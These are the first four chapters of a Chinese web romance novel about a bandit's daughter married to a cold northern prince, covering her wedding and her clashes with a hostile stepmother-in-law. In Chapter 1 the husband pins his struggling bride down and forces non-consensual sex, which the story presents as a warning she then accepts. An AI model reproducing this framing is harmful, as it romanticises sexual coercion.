《高嫁之后》 1、第一章 《高嫁之后》草灯大人 文学城首发 第一章 今天是沈青棠大婚的日子。 她身穿华贵的赤红大袖衫,肩披云纹翟鸟的满绣霞帔,一张桃腮杏脸掩在垂珠盖头里,局促不安地坐在床边,等待赵小王爷魏珩登门迎亲。 帮忙梳妆的全福人瞧瞧屋里头的新嫁娘,又瞧瞧屋外毫无动静的院墙,心急如焚。 这都快过迎亲吉时了,即便赵小王爷再看不上沈青棠,也不该如此奚落人吧? 好在巳时三刻,院外响起了敲锣打鼓的响动,赵王府用于接亲的仪仗队总算掐着点儿赶来了。 “快些准备好锦毯、花绸,再将那个熄了焰的跨吉炭盆端来。王爷王妃迈火盆,平平安安过一生……” 喜娘笑说的几句吉祥话,在看到眼前那一尊凶神恶煞的杀神后,顿时滞留喉头,消散无踪。 明明是大婚吉日,可赵小王爷魏珩并未穿戴迎亲专用的礼服冕冠。而是披了一身九章龙纹的衮龙袍,劲瘦窄腰系了一条镶金玉带。 他的手中长剑刚刚入鞘,一滴殷红鲜血,被合拢的剑鞘抿出,颤巍巍滴落一地,点在那双漆黑的皂靴之上。 膻腥味弥漫屋舍。 血粒子触目惊心。 屋外除却仪仗队,竟还挤着一帮厉兵秣马的黑甲军将…… 要不是喜娘见过魏珩,还当他是哪处前来劫亲的山匪呢! 喜娘两眼一黑,忍不住同情地看了沈青棠一眼。 幸好新娘子很乖,老老实实端坐,没有掀开盖头朝外窥探。 魏珩屈起长指,掸了掸略带褶皱的婚服,他微掀那双深秀秾艳的冷目,睥了喜娘一眼:“哑巴了?” 男人的嗓音清冷胜雪,没有半点接亲的喜气,反倒有种浸入骨头缝里的凉意,冻得人直哆嗦。 沈青棠收拢五指,蜷抓了一下膝上衣布。 很快,她听到喜娘强颜欢笑挤出接下来的几句吉祥话:“花、花开富贵福气高,琴瑟和鸣同偕老……王爷,请吧。” 魏珩矜贵地嗯了一声。 随后,他将手递到盖头底下,示意沈青棠牵着。 沈青棠垂头便见几根琳琅如玉的长指,似是潦草洗了一下,男人的指缝里还沾着淡淡血气。 沈青棠不是高门闺秀,她是乡野出生的匪寨姑娘,这点血气吓不到她。 沈青棠没有给魏珩甩脸色,她从善如流地搭上他的手,任他牵着她走向院外等候许久的花轿。 迈过赵王府大门,颁下亲王妃的册宝,丫鬟秀珠搀着沈青棠回寝院婚房,等着魏珩宴客回房,行合卺礼。 沈青棠的父母双亡,家中只剩下她一人。 若非早年老王爷率军抗戎,沈父曾率寨中弟兄策应护城,救下魏父一命,这等封为亲王妃的好事,又怎会落到沈青棠的头上? 沈青棠自十四岁开始,就知道她会是魏珩的妻子。 赵王离世,王世子魏珩承袭爵位,沈青棠等他服丧期满,完婚娶妻。 终于在沈青棠十八岁这年,她过府封妃,成了魏珩的妻子。 沈父说过:“赵王守疆定国,忠义无双。虎父无犬子,他的嫡长子魏珩,定也是个心系苍生的良善君子,我儿青青嫁给这样敦厚的郎君,为父便是死也能瞑目了。” …… 沈青棠回忆往昔,没等她想明白,房门口忽然传来一阵极有韵律的脚步声。 少顷,丫鬟婆子们扑通跪地,颤着嗓子唤了句:“见、见过王爷。” 得知魏珩来了,沈青棠竟也无端端感到紧张。 很快,那一帕鸾凤盖头被人揭下,就着黄澄澄的并蒂莲烛灯,沈青棠看清了魏珩的脸。 凤眸剑眉,高鼻薄唇。 他的五官俊朗,深如刀拓,下颌骨线条凛冽锋锐,冷硬如峰峦,的确是一副风神秀彻的艳绝皮囊,难怪有那么多人羡慕她运道好,竟能嫁到赵王府中。 魏珩比沈青棠大六岁,如今已是二十四岁的年轻人。 怪道长得这般高大,身姿峻拔秀挺,一倾过来,黑影如山,能将娇小的沈青棠整个儿覆没其中。 沈青棠悄悄打量自家夫君的同时,魏珩也寒着一双眼,漠然逡巡她。 女孩瞧着只有十七八岁,生得稚气青涩,偷看他的时候,目光躲闪,鬼鬼祟祟,不敢与他正视,极为小家子气。 但好在,沈青棠人虽窝囊,却没有歪鼻斜眼。 沈青棠一双杏眸懵懵的,不够聪慧灵光,泛起芙蕖池雾一般的涟涟潮气。那点鼻尖玲珑小巧,粘着睫羽垂下的漆黑长影,底下的红唇饱满,软如濯水莲瓣,供人采撷…… 平心而论,这位刚被他迎进家门的小妻子,虽是乡野出生,难登大雅之堂,但长相并不讨人嫌。 魏珩收回深邃沉寂的目光,斟了一杯酒,递给沈青棠。 “今夜你先睡下,时值隆冬,边境常有契丹扰边,我需赶回军所批文领兵。” 顿了顿,魏珩又道,“我平日鲜少回府,府内诸事,劳你费心。既已嫁入王府,便是魏家妇,日后自当谨守妇德,孝事高堂,不得辱没门庭名望……沈氏,你可明白?” 魏珩训妻的口吻实在公事公办,听不出半分缱绻旖旎。 沈青棠微微一怔,莫名觉出一点微乎其微的失落,她抿了下唇,老实回话:“我明白了。” 许是魏珩的态度极为冷淡,沈青棠也不敢嬉皮笑脸,她闷头饮完酒,又端过魏珩手中的那只酒盏,置于桌上。 边关战事再忙,倒也不至于匀不出一日婚期。 魏珩执意要走,无非是不想与沈青棠同宿一室。 魏珩瞥她一眼:“你唤什么名字?” 沈青棠原以为魏珩不愿再开口讲话了,没想到他竟还有闲谈的心思。 小姑娘脸上顿时浮起灿烂的笑容,她乖乖回话:“沈青棠……爹爹都唤我‘青青’。” 沈青棠太过愚钝,一点都听不出魏珩的轻慢之意。 若是魏珩看重她,又怎会不知自己妻子的名字?还要新婚夜里巴巴的问上一嘴? 可见此前二人交换庚帖、筹备聘礼、拟定请柬,魏珩半点没上过心。 魏珩微阖冷目,“你也唤‘青青’?” 沈青棠张了张嘴,哑口无言。 为什么是“也”? 沈青棠:“还有谁唤青青么?” 魏珩淡道:“不重要……我走了,你睡吧。” 魏珩作势要走,沈青棠却像是想到一桩紧要事,竟壮着胆子,扯住男人的喜袍袖口。 “王爷……”沈青棠怯怯唤他。 “有事?”魏珩墨眸一扫,眸中暗潮涌动,隐生不悦,他对于沈青棠的冒犯之举,已生出细微的不耐。 可沈青棠的性子执拗,她既遵从父命,嫁入王府,定想与魏珩好好做夫妻的。 他们行完婚礼,喝完合卺酒,还不算礼成,仍有一事未做。 虽说想起避火图纸那等春意盎然的画面,颇令人感到羞赧。 可听教习嬷嬷说,男子初次房事,至多也就一刻钟,耽误不了大事。 思及此,沈青棠垂下眼睫,结结巴巴地道:“王爷,还有房事未圆……嬷嬷说,慢的话一刻钟,快的话几息便够了,明日王太妃还要验元红帕,我一个人交代不了。” 魏珩没与女子欢好过,但他从戎多年,也听过几句荤话。 他知道,元红帕子,便是沾染处子血的白帕。 无非是往白布上抹点鲜血,有何难交代之处? 魏珩微眯凤眸,冷声问:“沈青棠,不过是取血沾帕,糊弄婆母,你不会?” 沈青棠讶然:“我、我没骗过人,况且我怕疼,不想割开手指……” 说完,沈青棠的目光,竟还有意无意下移,凝于魏珩扶剑的指.尖,示意他杀身求仁,成全一下新娶的妻子。 一点心事都藏不住的怂货,魏珩竟有一天,能被一名柔弱女子气笑。 魏珩本想拔剑破肤,也好快些打发粘缠不休的沈青棠。 可转瞬间,他又记起沈青棠那句“男子初夜只需要几息就能成事”的讽刺之言,莫名的火气上涌,盘踞腹腔。 魏珩斟酌片刻,然后他掐住沈青棠的手腕,将她翻过去,屈膝向下,抵住了她那双意欲挣扎的腿弯。 沈青棠骤然被人压制下方,她骇得肝胆惧寒,扭头急急大喊:“王、王爷……” 可下一刻,魏珩那一绺冰冷如瀑的长发垂落,亵裤的裂帛声应势响起。 他故意在她耳畔,恶念深重地提醒:“沈青棠……几息可不够圆房。” 没有亲吻,没有安抚,亦没有甜言蜜语。 不过剜去桌上一只润体的药膏,随意碾揉,便横冲直撞。 …… 魏珩撤出的时候。 一点殷红,沿着沈青棠伶仃的足踝滴落。 是猩红的血丝。 沈青棠力竭地趴伏于被褥之上,下唇咬出一圈的印子,是她方才忍痛,不自觉下的嘴。 魏珩并未纾解渴念,他不过是熬过了这一刻钟,证明给沈青棠看,他并非那等庸俗无能之辈,切莫拿那些俗人与他相提并论。 随后,魏珩取来帕子,帮沈青棠打理斑驳的血迹。 男人整理好衣冠,又将元红帕掷于匣中,“可满意了?” 沈青棠脸色发白,迟缓地点了点头。 她听明白了。 魏珩不是那等温柔夫君,他不喜被人胁迫。 这次粗.暴的圆房,亦是一次警告——下次莫要故意挑衅夫君,免得自讨没趣,还得吃一番苦头。 房门再度阖上,魏珩舍下了新婚妻子,策马奔向关外军所。 屋内,沈青棠茫然地拉扯那一条破碎不堪、不足以遮蔽膝盖的裙裤,心道:爹爹说错了,她的夫君一点都不良善,他分明是阎罗恶鬼,与人也不大沾边……她好像嫁错了人。 2、第二章 第二章 永昌五年,十一月。 北道四州,位处于周国边境,气候严寒,雪峰终年积雪,一到冬天便风雪不止。 魏珩顶风冒雪,赶回靠近关隘的军所。 一进主帐,他就唤人备水,擦身换衣。 魏珩瞥了一眼遒劲腰腹沾染的潋滟水光,想到此前不算和睦的房事,嫣红的处子血,以及女子盈盈含泪的杏眸,他抬手拧了下眉峰。 不是意气用事的少年人了,何必同一个十七八岁的小姑娘较真。 送水的灶丁见到魏珩趁夜回营,心中十分惊讶。 今晚是小王爷的新婚夜,魏珩不该留宿王府吗?温香软玉在怀,王爷又怎舍得抛下新妇,回到军所议事批文? 灶丁不免记起一些流言蜚语,说是王妃是乡野出身,性情粗鄙,丑若无盐,兴许是这个缘故,魏珩才不肯与她同宿一室吧?想也是,不过一个乡下妇人,能好看到哪里去? 这般一想,灶丁不免对位高权重的魏珩生出一点同情……连正妻都不能娶自己喜欢的,当真是遭罪,也不知老王爷怎么想的,竟逼着嫡长子娶一个位卑言轻的农女为妻。 旁人都不能理解魏父的想法,可魏珩却知父亲的谋算。 魏父虽为先帝长子,母妃却是南地采莲女,生母的出身太低,为人诟病,魏父自然不能被先帝立为太子。 所谓立嫡立长,指的是册立皇后所出的年长嫡子为储君,倘若皇后无所出,才能立庶妃生下的庶子为太子。 因此,无论魏父多么才德兼备,多么受先帝器重,终是无缘皇位。 可帝王对待庶长子的这份偏疼,却成了皇后与太子的眼中钉肉中刺。 为了保全庶长子,魏父刚刚及冠成年,就被先帝赶去北道就藩,还将北地最为贫瘠的两州,作为封地,赏赐给庶长子。 为了防止亲王割据一方,魏父终生不得离开封地,回到南地朝廷。违令者,以谋逆论处,格杀勿论。 许是先帝对魏父心存亏欠,也为了助庶长子立威,他颁布了一道赐婚的圣旨,将北地大族姜氏嫡长女许配给魏父,助魏父在北道诸州站稳脚跟。 在檀州姜氏的襄助之下,魏父不但将北道二州治理得民安物阜,政通人和;更是率军御戎,收复了被契丹侵占多年的平、营两州失地。 如此功绩,本该受万民称颂,青史留名。可太子魏承之疑心病重,认为这位庶长兄包藏祸心,有谋逆之嫌,亦忌惮魏父权柄日重,有朝一日定会威胁南地皇权。 因此,在先帝殡天,魏承之登基即位后,他有意削藩夺权,竟明里暗里调遣监军使者,刺探北地军情,还下旨传召魏父回京谒陵,祭拜先帝,欲趁机将魏父软禁于京中。 可魏父称病不从,不愿南下归京。 自此,魏承之起了杀心,只能派出细作刺客,试图将魏珩父子刺杀于北地诸州…… 永昌帝魏承之三番两次痛下杀手,魏父也知其心肠狠毒,不再顾念那些兄弟旧情。 魏父心知,哪怕他再多退让,亦无法消除魏承之心中的猜忌,既如此,倒不如拼死一搏。 魏父殚思极虑,加之长年南征北战,身子骨亏空得厉害,才四十多岁便缠绵病榻,起不来身。 临终前,魏父唤魏珩来榻前,悉心嘱托儿子。 “为父知道,和沈家的这门亲事,实在委屈了你。可朝中一心削藩,不好再为你聘世家妇,以免招致永昌帝猜疑,于你的大业不利。珩儿,记住为父的话,小不忍则乱大谋,若你不喜沈家女儿,日后和离便是……沈家兄弟救过为父一命,而沈家女孩无辜,好歹夫妻一场,即便休弃,也莫要做得太狠。” 魏珩颔首:“儿子知道,虽说沈氏女只是一枚棋子,但她嫁为魏家妇,该有的体面,我会给她。日后即便和离,儿子也会金银补偿,善待此女。” 魏父欣慰叹气:“还有你三姨母,我知你不认她,但到底是你名义上的母亲,莫要苛待她。” 魏珩幼年丧母,如今的继母乃姜家庶出三女,是魏珩的三姨母。 姜家为了绑住赵王,这才提出庶妹填房,并喂下绝嗣药,不允庶女诞下子嗣,如此保全姜家嫡长女所出的王世子。 魏父对这个妻妹没有多少感情,二人甚至从未行过房事,不过是妻妹贪慕王府富贵,即便被家人灌下绝嗣汤药,亦一心想入主亲王府。 到底是亡妻的母家,魏父有意提携,便睁一只眼闭一只眼,允了这桩婚事。 魏珩日后有亲姨母照看,魏父也能放心许多。 魏珩应下父亲嘱托的所有事情,魏父终是安心,沉沉闭上了眼。 …… 军营之中,老将江阳峰听闻小王爷连夜赶回军所,心中大震。 江阳峰撩帘入内,“既是新婚夜,殿下怎么不宿在王府?” 魏珩系好腰带,神色淡漠:“军事要紧。” 江阳峰叹息一声:“末将也知,老王爷安排的这场婚事,委屈了殿下,可如今局势危急,不可冒进,只能请殿下暂且忍辱负重,以待时机……” “江叔放心,我自当以大局为重。” 魏珩明白,他再不满沈氏女,也得稍加忍耐。 左不过熬个一两年,待日后大业功成,他便休妻下堂,与沈青棠撇清得一干二净。 魏珩贵为天家皇嗣,龙子凤孙,又怎可能和一个出身卑微的乡野女子过一辈子。 - 赵王府,婚房。 沈青棠衣不附体的模样太过狼狈,她没有喊秀珠进来收拾。 沈青棠也是第一次穿这般华贵的礼服,若无喜娘帮忙,她怕是连盘扣都不知道怎么扣。 可这样一身她无比珍视的绸袍嫁衣,却被魏珩粗暴地撕扯成了褴褛布条。 沈青棠茫然褪下衣衫,浸入秋月山水纹屏风后头的浴桶中,清洗身子。 她揉开留在腰上、臀上的青红指痕,洗净那些魏珩留下的黏腻之物,随后爬出浴桶,穿好寝裙,擦干头发,钻进绵软蓬松的喜被之中。 沈青棠是个知足常乐的人。 虽说方才的房事实在不愉快,直到现在,腿侧还残留一丝细密的痛感,但好歹魏珩没有折腾到底,他见好就收,自己都没餍足,却知放过沈青棠。 沈青棠安慰自己……魏珩瞧着性恶,但也没有坏到底?看他此前寻了半天都没寻到位置,保不准也是个没经验的雏儿,夫妻俩都不大懂这件事,初次云雨不太契合,实属常事,她该体谅他的。 沈青棠挨蹭着滑溜的缎被,在燃着银炭的屋里酝酿睡意。 这时,她想到了一桩往事…… 其实,沈青棠不算盲婚哑嫁。 早在六年前,她就见过魏珩。 那时契丹联合诸部,集结兵马,兵临檀州关隘。 魏父被军中奸细背叛,军策泄露,惨遭突袭。 援军迟迟不至,眼见着契丹人破关入城,是沈父带领寨中弟兄,招募城中百姓,组建杂兵队伍,前线策应藩王。 彼时,魏珩听闻父亲遇袭,一心赶往关隘驰援。 可他运气不好,竟被不知哪里来的刺客用箭刺伤胸肋,跌下马去,倒在血泊中。 那时的沈青棠虽然仅有十二岁,可她自小弓马娴熟,常为哨兵,给匪寨里的叔叔伯伯们通风报信。 沈青棠知道爹爹外出抗戎去了,她一心记挂父亲,连夜逃出匪寨,骑着自己的小马,翻山越岭,奔向战场前线。 路过这片山坳时,沈青棠被强撑着一口气的王府亲卫,拦住去路。 “姑、姑娘……求你去城中报个信儿,就说王世子魏珩遇袭,速来驰援……” 沈青棠急着去城里找爹爹,不想揽下此事。 可看着遍体鳞伤的亲卫,又看了一眼一侧浑身沐血的清俊少年,她软下心肠,“好吧,我爹就在关外御敌,我会喊他来救你们。” “多谢。” 魏珩虽伤重,却还能忍疼说几句话,只他眼眸浸润污血,眼前一片猩红,瞧不清任何一样事物。 “敢问姑娘芳名?” 沈青棠受过亲爹敲打,不能将闺名随意告诉旁人。 她深谙知恩不图报的道理,含糊一阵,说了一句:“青青……家人都唤我青青。” 沈青棠见过魏珩的少年模样,她知他神清骨秀,清隽出尘……沈青棠同意这门婚事,除却王命不可违,她是山匪之女,不敢和那些王孙贵族对着干,还有一个原因是,魏珩长得很好看。 可今日她如愿嫁给魏珩,同住一室,才觉出不好。 这场云雨,魏珩将她弄得太疼,他中看不中用。 沈青棠想:他俩有了夫妻之实,木已成舟,再要反悔怕是不能够了。既如此,这日子再糟心,也只能睁一只眼闭一只眼,凑合凑合过了。 3、第三章 第三章 第二天,天刚蒙蒙亮,丫鬟秀珠就在外敲门,唤沈青棠起身。 沈青棠睡眼惺忪爬起来,还有点回不过神,待膝盖传来跪疼了的酸麻,她才记起昨夜发生的一切。 “王妃,奴婢可以进来吗?”秀珠知道沈青棠初来乍到,又是乡下姑娘,不懂王府规矩,便也没说那些绕得人头晕的大官话。 沈青棠清了清昨晚哭哑的嗓子,闷闷回答:“进来吧。” 秀珠是府上罗嬷嬷的孙女,也是内院的一等大丫鬟,专门被调来伺候新妇。 罗嬷嬷乃魏珩生母的陪房嬷嬷,从前伺候过宫里贵人,在姜家极为得脸,甚至掌过姜家诸院的教习之职。 就连如今的王太妃姜氏,曾经做姑娘的时候,也因坐姿不端正,被罗嬷嬷取戒尺打过掌心。 罗嬷嬷代表了魏珩生母的体面,还被先太妃榻前托孤,嘱咐她定要照顾好小主子。 也是如此,即便老太妃姜氏掌着赵王府的中馈,能左右下人的去留,也不敢碰这位嫡姐留下来看家护院的奶嬷嬷。 魏珩调来罗嬷嬷,请她帮忙看顾寒香院里的新妇沈青棠,便代表他对沈青棠心存袒护之意。 在秀珠看来,小王爷未必有旁人看起来的那般嫌弃新娶进门的乡下妻子。 秀珠唤来丫鬟们,冷着一张俏脸敲打:“都把眼睛放亮点,手脚麻利点!这屋里头的毯子、被褥全是上等的织物,损坏一样,都要你们赔上几辈子!” 秀珠有意给沈青棠做脸,故意点明了屋里头的家具陈设都贵重精细,也好让这些见风使舵的丫鬟明白——沈青棠可不是什么不受宠的小夫人,想欺负她,倒要看看自己有没有这个本事。 沈青棠不懂这些弯弯绕儿,但她知道秀珠是为了自己好。 初来乍到,人生地不熟,竟还能得到这份好意,沈青棠心里高兴,朝着秀珠弯眸一笑。 昨日大婚,小王妃披着绣花盖头入府,秀珠只看到她纤秀的下颌,窈窕的腰肢,饱满的胸脯,旁的一概没看清。 今日卸去铅华脂膏,秀珠才看清楚沈青棠那张巴掌大的雪腻小脸。黛眉玉肌,面似芙蓉,发丝睡得有点凌乱,蓬蓬的垂在颊侧,不添半分狼狈,反倒给人一种生动的鲜活劲儿。 这样好看的小姑娘,昨夜竟没能留下魏珩吗? 秀珠不免在心里暗骂主子的不解风情,但一见桌上置着的元红帕子,知道二人行了夫妻之礼,又为沈青棠感到欢喜。 秀珠一面搀起沈青棠,一面同她解释:“王爷从来不喜婢子进屋随侍,行事难免粗犷,王妃昨夜没吃苦吧?” 想到昨晚男人一身蛮力,还将五指牢牢囚在自己腰上,沈青棠不免面无血色,她支支吾吾地问:“王爷当真没收过什么通房侍妾……他虚长我那么多岁,一点经验都没有?” 秀珠摇摇头。 顿了顿,秀珠又想着为魏珩辩白一句,解释:“这些年,王爷夙夜在公,没什么心思应付这些男女之事。” 难怪了。 沈青棠面如死灰,敢情拿她练手来了。 没等二人再多说几句,屋外便传来刘妈妈洪亮的嗓音。 “王妃起了吗?这都辰时了,哪家年轻媳妇头天进门,还让太妃在院中干候着,等她晨昏定省的?” 莫怪刘妈妈敢在院中对亲王妃吆五喝六,要知道北地四州,乃赵王的封地,不循什么京中的宗室礼法。 如今老王爷离世,魏珩又不在府中,唯王太妃姜氏独大。 姜氏有意要给沈青棠立规矩,自然不会对她有什么好脸色,甚至是默许底下奴仆用这等市井秽语,刻意奚落欺辱沈青棠。 不等沈青棠梳妆净面出门,屋外忽然响起一记刺耳嘹亮的巴掌声。 啪! 一记重响。 撼得那些围观的丫鬟婆子纷纷倒吸一口凉气。 竟是刘妈妈挨了旁人一记掌掴! 刘妈妈被打得嘴角渗血:“哎呦,哪个小贱蹄子,敢对妈妈我动手!” “扒开你的眼皮好好看清楚,隔壁祠堂供着先王、先太妃的牌位,我看是谁敢在寒香院大呼小叫!” 说这话的人便是罗嬷嬷。她料准刘妈妈会来奉命找茬,特意带着丫鬟,过来给沈青棠撑场子。 刘妈妈怎么都没想到,魏珩竟会把罗嬷嬷请出山,顿时哑口无言,不知该抖什么样的威风。 从前还是三等婆子的时候,刘妈妈就在罗嬷嬷手下伺候过,那时一口一个姑姑,巴巴的等人提携。 如今她跟着姜氏混,得了些脸面,也是阖府仆妇口中的老妈妈了。 可见着罗嬷嬷,她想起昔日这位姑姑的狠戾手段,还是一声不敢吭,支棱起的鸡毛全软塌塌地垂下去,不甘心地嘟囔一句:“竟、竟是罗嬷嬷啊,我先去同太妃娘娘禀报一句,就说王妃已经醒了。” 说完,刘妈妈如同斗败了的母鸡,捂着脸行色匆匆地跑了。 待刘妈妈走后,罗嬷嬷方才抬起一张笑脸,领着送甜汤的小丫鬟进到屋里。 “昨夜老奴没见着王妃叫膳,想必是饿了。待会儿还要去望山堂给老太妃敬茶,饿着肚子失了体统,总归不好,您喝碗红枣汤垫一垫再去也不迟。” 罗嬷嬷自然知道如今的王太妃姜氏是小妾生出的庶女,自小性子便带点小家子气,常为多一件衣衫少一支花钗,和姐妹们置气闹口角。 多年前,先太妃病故,庶妹姜氏顺势嫁到赵王府,给姐夫做填房。 旁人不知姜氏为何膝下无子,罗嬷嬷心里头门儿清,这是喂下了绝嗣汤药,成了不会下蛋的母鸡。 姜氏膝下无子,又一心想掌控魏珩,坐稳掌家主母之位,自然只能盼着儿媳与自己站在统一战线。 这也是姜家人的意思,想着把表妹姜若水许给魏珩,也好亲上加亲。 怎料老王爷极有主意,竟落了岳家的颜面,给儿子娶了一个乡下小妇……姜家不满,姜氏也事事不称意,自然有一肚子火要发。 不论沈青棠去早了还是迟了,一通排揎少不了,那还不如吃饱喝足再去挨骂。 沈青棠一大早醒来就看了几场好戏,任她再愚钝也知道,恐怕赵王府就是个龙潭虎穴,她要想有好日子过,恐怕就得打起十二分精神应对了。 沈青棠决定听罗嬷嬷的话,先把自己的肚子填饱了再说。 果然,等沈青棠跟着秀珠穿过几条雕花游廊,绕过一面琉璃影壁,迈进两个月洞门,来到望山堂的时候,王太妃姜氏的脸已经黑沉到足以凝出墨汁。 沈青棠垂眉敛目,乖乖屈膝,行礼纳福:“儿媳沈青棠,见过母亲。” 姜氏毕竟是续弦,岁数不算大,才三十七八岁。多年来姜氏精心保养脸蛋,眼角的皱纹不显多少。只她平日在奴仆面前摆主母威严,不大喜笑,瞧着便有点冷肃可怖。 “可算来了,我当你要睡到午时去,还想着要不要用完午膳再等,免得外人要说我这婆母不够善心肠,竟连新媳妇都不知体谅,非要逼着人来院子里给我敬一盏改口茶。” 姜氏不喜沈青棠,说话难免夹枪带棒。这是在嘲讽沈青棠嗜睡懒惰,连为人媳妇的本分都忘记了。 沈青棠不擅长应付这些宅门里的门道,她老老实实答了一句:“都是儿媳妇的错。” 随后,她端起青瓷茶盏,递向姜氏:“母亲请喝茶。” 姜氏以为,方才那句重话下去,定会闹得沈青棠羞耻难堪,盈盈落泪。哪知她脸皮厚若城墙,几句呲哒训斥也能干受着,全然不受影响。 姜氏气闷,又记起今早刘妈妈送来的元红帕子,不免气息一滞,目光落到沈青棠的身上。 姜氏知道那个嫡姐生下的长子魏珩有多么眼高于顶,多么难讨好。 从前她想和魏珩打好交道,曾三不五时亲自蒸糕给孩子送食,可魏珩非但没吃,还对她冷冷淡淡地道:“三姨母不必费心献殷勤,你既是我继母,亦是父亲新妻,我自当孝事双亲,予您体面。只血缘亲厚,不是几样点心便能抵去,想我待你如生母那般敬重,怕是痴人说梦,此生都不可能。” 不过五六岁的孩子,竟能一本正经说出这等诛心之语。 姜氏气得脸颊通红,话都说不出一句。 她知道魏珩早慧,不好笼络,再没有自讨苦吃,只盼着能将亲王妃的位置坐稳,执掌中馈,将偌大的王府掌控于手。 魏珩这样倨傲清冷的孩子,连个通房丫鬟都不收,竟会对一个乡下小丫头另眼相待,甚至与她圆房? 姜氏感到不可思议。 姜氏上下打量沈青棠,自她剪水秋眸,凝向那玲珑楚腰……好乖乖,此女年纪不大,身段倒极为妖娆,腰肢细如柔韧荷茎,胸脯不算鼓囊,可满若莲苞,衣襟勒着,胸口束得紧绷绷的,瞧着就让姜氏频频皱眉。 沈青棠明明生得艳俗模样,却偏偏不掺半分庸俗,眉眼间蕴含一股山野清媚,怪道能把爷们儿勾得五迷三道。 姜氏是大户人家出来的贵女,将这等浮艳姿态,视为没规矩的做派。 姜氏想到姜氏大族养育出的侄女姜若水,为她感到不值。 姜若水与魏珩青梅竹马,郎才女貌,多好的一双璧人,偏偏让沈青棠横插一脚,拆散了有情人。 如今妻位已定,姜氏女不能为妾,侄女自然只能死心了。 姜氏想到家中父母的叮咛,盼着魏珩休妻另娶,也好与姜家亲上加亲,延续家族峥嵘。 思及此,她有意给沈青棠添堵,冷声道:“再过两月,便是先王忌辰,需抄录经文供奉灵前,以尽哀思。沈氏,你既是新进门的儿媳,就由你亲笔抄录几部经文,也算聊表一片孝心。” 姜氏有备而来,她使了个眼色,命刘妈妈送去一摞经文。 高高的一摞经卷,足有十多万字。 即便让那些抄经的僧人誊写,也得日夜不停抄写上个把月。 姜氏分明存了为难人的心思。 沈青棠诚实地道:“母亲,我虽识得一些字,可不善书法,笔迹粗陋,怕是敬不到孝心,还会惹父亲生气……” 这是实话。 沈父在世的时候,常说沈青棠一手墨字写得狗爬似的,难登大雅之堂,他也不通文墨,二人不愧是血脉相连的父女。 姜氏似是料到了沈青棠会这般应对,她不免勾唇,击掌召出两名雪肤花貌的丫鬟,对沈青棠道:“既如此,就让画月、香梅两个丫鬟上寒香院,指点你如何落笔行文,免得日后教外人耻笑,说堂堂赵王妃,连一纸经文都抄不好。” 沈青棠抬头看了一眼,画月和香梅都是十六七岁的姑娘,生得柔媚娇俏,身材饱满。一见便知,这是为府上男主子留的侍奉枕席的通房丫鬟,可不是什么书房里的扫洒丫鬟。 “是……”沈青棠觉出姜氏的恶意,轻声应下。 许是姜氏成功掰回一成,她总算没再为难这个乡下丫头。 姜氏稀得见沈青棠,摆摆手便让她退下了。 沈青棠刚想出门,又想到什么,折返回来,“母亲,儿媳还有一事。” 姜氏以为她心中生妒,要和自己大闹一场,不耐烦地问:“又有何事?” 沈青棠抿唇一笑:“母亲知道的,儿媳出生乡野,手上拮据……这两个丫鬟既是母亲安排的婢女,这月例用度,应是望山堂出吧?” 沈青棠知道,她如今贵为王妃,每月有二百两月例。 虽说养两个丫鬟绰绰有余,可沈青棠贪财,她还是不想花自己的银子养外人,既是姜氏塞的人,自该由她负责。 姜氏怎么也没想到,沈青棠竟眼皮底子浅到几钱银子的月例都舍不得,她顿时胸口窒闷,无言以对。 良久,姜氏望着沈青棠那战战兢兢、欲言又止、生怕婆母赖账的脸,咬牙切齿说出一句:“自然是望山堂出银子,不必你忧心!” 沈青棠松了一大口气,笑眯眯地点头:“如此甚好。” 看着儿媳妇那张灿烂的笑脸,姜氏皱紧眉头,竟有一瞬迷茫……等会儿,她都要派人去和沈青棠抢夫婿了,这丫头还这般老神在在,怕不是个傻子吧?! - 沈青棠脚步松快地迈出院门。 秀珠回头瞥一眼,远远看到缀在后头的两个丫鬟,气不打一处来。 从来没听说过,新妇进门第一天,婆母就往儿子房中塞人的。 这都不是看不起沈青棠了,分明是把脚往儿媳妇脑门上踩。 这卑鄙做派,当真比市井恶婆婆还要下作! 可赵王府没有妯娌,就姜氏一家独大,即便她磋磨自家媳妇,谁又能说个不是?谁又能有胆子,把这档没脸面的事传到王府外头? 除非魏珩来给沈青棠撑腰出气! 可秀珠想到昨晚新婚夜,魏珩也不过待了一个时辰,转头就骑马跑回军所,她又塌下肩膀,垂头丧气……不可能的,小王爷对沈青棠不上心,他又怎会来给媳妇撑腰?! 为今之计,只能沈青棠自个儿支棱起来! 秀珠看着搔首弄姿的画月、香梅,磨着牙齿,恨铁不成钢地道:“王妃,你怎么把人收下了?这两个可是经人调教过的通房丫鬟,心眼子多着呢,收到院中,您能得个好?” 秀珠为沈青棠打抱不平,只当她生于市井,不懂宅邸里的辛秘龌龊。 可沈青棠眼明心亮,心里跟明镜似的一清二楚。 她深知魏珩贵为亲王,当真要纳妾收人,她拦也拦不住。 况且,昨晚的房事实在艰涩难进…… 魏珩那般狰狞,当真要行完一场床事,她怕是得见血见肉,倒不如寻人分担。 沈青棠很看得开,她既成了赵王妃,那就先在府上混着,有吃有喝有银子赚,实在无本万利。 真要出府,沈青棠自小在匪寨长大,会些爬墙攀瓦的功夫,也没人能拦住她。 至于平时出入王府,会不会坏规矩……沈父说过,她是朝廷授予金印宝册的王妃,除非魏珩休妻,便是姜氏也不能奈她何,至多摆一摆老太妃的谱子。 沈青棠知道怎么应付长辈,她从前和匪寨里的老人们相处,没人不夸她乖巧懂事的。只要沈青棠明面上敬着姜氏,没人能挑出她的错处。 这般想着,沈青棠又觉得兵来将挡水来土屯,婆母塞人,那就先留着吧。 嫁都嫁了,再过过吧,要是日子实在过不下去,她再另想法子便是。 4、第四章 第四章 多年前,契丹皇帝耶律辛侵占平、营二州汉地,知汉人诛杀不尽,曾使用过一国两制的国策。治理汉民用汉律,治理胡人用蕃律,以此来掌控汉地。 为了更好地入.侵周国,耶律辛甚至提拔了不少汉人将领,从这些卖国贼的口中,得知了大周朝的风土地势、朝政国情。 在这些“汉贼”助阵之下,魏父收复失地一战变得愈发艰难,接连数次战败不说,还险些丧命于北虏之手。 好在魏父用兵如神,他深知耶律辛的奸猾狡诈,亦从一些深受契丹压迫的草原部族那里,得知驯养战马的秘诀。 魏父借助塞外险峻地势,培育军马,操练骑营,终是大败契丹,夺回了被胡人侵占许久的两州失地。 借此一战,魏父名声大噪,成了北道百姓心目中敬仰的战神菩萨。 魏父死后,魏珩继承家业,接手父亲留下的北道四州。 魏珩心知,他的年纪太轻,而军中旧部家臣众多,若想服众,手段便不能仁慈。 